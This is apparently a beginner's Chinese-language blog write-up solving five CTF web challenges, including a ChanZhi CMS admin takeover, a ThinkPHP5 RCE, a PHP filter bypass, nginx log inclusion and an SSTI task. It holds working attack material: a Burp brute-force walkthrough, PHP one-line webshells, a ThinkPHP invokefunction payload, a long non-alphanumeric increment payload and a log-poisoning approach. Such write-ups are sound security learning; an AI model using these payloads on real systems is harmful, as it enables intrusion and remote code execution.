本人小白,站在小白的视角上写了在写题目的wp方面更多是想体现题目思考的逻辑和细节,更多是写给同样新手小白的内容,解题方面为什么从这一步到下一步的,这样写确实有些麻烦,但是很助于培养思考题目的逻辑思维,有些地方可能理解说辞不是特别到位,如果有问题就麻烦各位大佬师傅指点~
[GKCTF 2021]easycms
下面提示了使用的cms和cms版本【蝉知7.7】
从题目整体框架和cms版本可以大概猜到应该是模板漏洞
结合本身界面,点击基本上没反应,应该是静态网页。
搜一下这个版本的漏洞
由此知道蝉知7.7v存在RCE漏洞
且是以登入后台的形式。
后台一般是管理员才可以登入。
一般管理员后台后缀基本上都是url/admin,url/.admin,url/admin.php
这里也可以用御剑WEB目录扫描,或者是dirsearch去扫也可以。
然后得到了这个界面。
用户名一般是admin,由于考查的RCE,我一开始还以为密码处写命令。
这里密码我写的一开始是system('ls /')
笑死了,其实不是哈。
那么这里可能存在的方向有,RCE【试过了不是哈哈被自己蠢笑了】,SQL注入,弱密码登入。
不过有个细节点,这里的密码以小黑点形式呈现,大概率不是SQL注入,如果是SQL注入方向,那么这个密码的地方往往是可以看见写的是什么的,也算个小小的经验之谈。
这里可以用bp弱密码字典爆破,也可以随便猜密码试试看,比如123123,12345当作弱密码去登入尝试。
本题的密码是12345
我这里用我的字典去爆破看看。
字典基本上就一个txt文件。
这里我顺便借这道题展示一下爆破的用法。
步骤1:先开bp代理,网页里用户名admin【一般默认是admin,这里也可以用爆破爆出来,但一般90%都是admin,密码随便写一个】按照红色框里先点拦截禁用。
步骤2:按照蓝色框中所示点击登入
步骤3:得到拦截流量包后,点击右键【发送给Intruder】
步骤4:点击测试器,按照红框先点到【位置】按键,再按照另一个红框点击【清除】
这道题此类型只爆破一个,所以攻击类型为狙击手(Sniper)
步骤5:在password=(一串长码)最前和最后点击红框内容,得到如下效果
步骤6:在有效载荷中,先点击载入中,找到弱口令密码路径后点击打开。
步骤7:点击开始攻击
步骤8:在攻击列表找相应200即可,但是显然这道题没必要爆破,很多常见弱密码都可以,因为这里响应基本上都是200,响应200就可以拿【有效载荷】的内容来直接登入。
其实这里不必这么麻烦,写爆破过程更多是为了帮助新手宝们更好理解题目。
然后进入管理员页面
先探索一下,把可以点击的都可看一下,看看有没有攻击口/漏洞口,既然说是命令执行漏洞,那么方向应该首先是找到可以插入木马的源代码or搜索的入口,这两者嫌疑最大。
搜索口找到
这里我搜索的内容是
system('ls /');
回显是
可能是可行路径之一,回显bad request,这可能是存在过滤。
但是我随便输入了一个 ddd 没有给出回显,显然这个搜索存在过滤
再看看其他途径
发现再设计-高级处-首页可以编辑码源,本来想写一句话木马
但是它告诉我要创建一个文件,但也意味着创建了文件就可以实行这个木马,从而拿flag。
那么这个时候,我们需要找到哪里可以上传文件/创建文件【它有明确文件后缀txt,,经验之谈告诉我应该是上传可能性更大】
上传口在一番探索下可以发现在【组件】里【素材库】,在点击【上传素材】,开始上传,随便上传一个txt文本看看。
编辑刚刚上传的文件,文件名称这里直接写刚刚报错的信息,“/var/www/html/system/tmp/tdjr.txt”好像是不太行的,txt后缀会重复,所以不用写txt后缀,同时要在前面加上很多个【../】目录穿越。
这里附上目录穿越漏洞的理解:https://www.cnblogs.com/chm0d/p/17664249.html
目录穿越的作用大体是:达到任意文件读取/下载,任意文件删除,或将任意文件上传到指定目录等。
然后再在设计-高级-首页 的码源里插入恶意木马。
<?php eval($_POST['cmd']);?>
点击保存,然后这次会显示保存成功。
回到主页,发现主页变成了刚刚在【主页】里编辑的代码。表明木马插入成功。
然后正常RCE即可。
cmd=system('tac /flag'); //拿flag
因为写了一句话木马,这里我个人觉得用hackbar插件会更方便,当然用蚁剑连接拿flag也是ok的。看个人。
[SWPUCTF 2022 新生赛]ez_rce
开题
应该是cve模板,信息搜集一下thinkphp5漏洞。
属于漏洞框架,接触的不多。
直接找POC链打
payload:
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
#查看根目录
#这里的"system"和"ls /" 可以被换掉成其他命令,比如phpinfo
但是这里tac /flag是没用的
应该是放其他地方了。注意到根目录下有个nss。之后正常命令执行即可。
flag拿了,但注意这里绕了两个/flag,一开始从nss/ctf/flag没找到还以为哪里出错了。
也可以用github上下载的工具(RexHa)直接一把嗦
[SWPUCTF 2021 新生赛]hardrce_3
先代码审计一波。
关键在执行
eval($wllm);
从$blacklist = [' ','\^','\~','\|'];
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
可知黑名单把取反,异或,字母均ban了。
这种情况下远程RCE只剩自增/文件上传。
文件上传没有入口传(扫描了没有类似/admin的可疑url)。故考虑自增。
这里附上个人的自增理解:
<?php
$_=[].''; //空数组[]→字符串
$___=$_[$__]; //$__没有定义→默认0。$_在这里引申为字符串。故综合理解$___可以为 字符串(0)→ 'A'
$__=$___; //这个时候$__为'A'
$_=$__; //此时$_为'A'
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__;
//此时$_表示'S';
$___.= $__; //把'S'加到'A'后面去→得到'AS'
$___.= $__; //再次将$__追加到$___后面,现在$___的值为'ASS'
//同理一路下去得到payload:Assert($_POST[_]);
payload:
//等价于Assert($_POST[_]);
//GET传参
/?wllm=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
个人觉得这个很多题都能直接用。
//post
_=phpinfo();
由于题目在标签处打了disable_function。所以直接看下被ban了哪些函数
但是这里混一块了,复制出来看。
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
过滤了system,exec,passthru等命令执行函数,但是没有过滤 file_put_contents函数。
关于file_put_contents函数理解
payload:【POST传】
_=file_put_contents('1.php','<?php eval($_POST[6]);?>')
一开始还想这么做:
忘记system函数被ban了
蚁剑走一把
按照正常来说这步一般可以了,但是
出现了没有权限的情况,看了其他师傅的wp,发现也有这个共同情况,不知道为什么。
[HNCTF 2022 WEEK2]easy_include
开题,本人小白,根据目前的知识面结合if语句内的data/php大概可以确定漏洞方向是文件包含,常见伪协议php,data被ban。
结合提示,我们可以先搜索 文件包含漏洞 关键词。
可以搜到一些相关文章。
这道题没有上传口,且结合BP拦截再发包得到的中间件Nginx
再搜索 文件包含Nginx 关键词 得到
则确定题解方向是nginx日志写shell
payload:
/?file=/var/log/nginx/access.log
确定方向可行。
同时由上图可知回显基本上体现在User-Agent处
因此把木马/RCE写在User-Agent处即可。
但是不知道为什么BP发包和Hackbar网页发包均出现回显错误。
但看其他师傅相同解法是没出问题的。
方法可行但不知道为什么拿不到flag,看了NSS靶场这道题底下的其他评论发现也存在这个问题。如果是我有问题,也麻烦各位师傅指出~
[GDOUCTF 2023]<ez_ze>
开题输1 回显得
应该存在SSTI。
解法1:fenjing【焚靖】一把嗦。
而且包括挺早之前我花了很多时间下载fenjing,左右琢磨了好几个小时,不知道为什么总出现路径问题的错误,去github上原网站上研究半天还是没用。
去搜 得到的答案基本上都围绕在把fenjing的路径和python38的路径在环境变量里去统一一下。
但是实际上统一后问题也没有得到解决
这里提供一个我实行成功了的示例代码:
pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple
看一下有没有安装成功
python -m fenjing
出现这个就是ok了。
然后我们拿这道题作为测试
python -m fenjing --scan '目标网站'
ok在扫了
这里写的是
>>ls /
在具体表单出现后直接抓取flag
>>cat /flag
得到flag。
个人觉得fenjing一把嗦会更快捷更方便一些。
关于fenjing的flask实现在我另一篇博客里有写。
链接在这里![SSTI自动化工具]Fenjing(焚靖)Windows下载报错及正确安装及实际CTF题目中运用-CSDN博客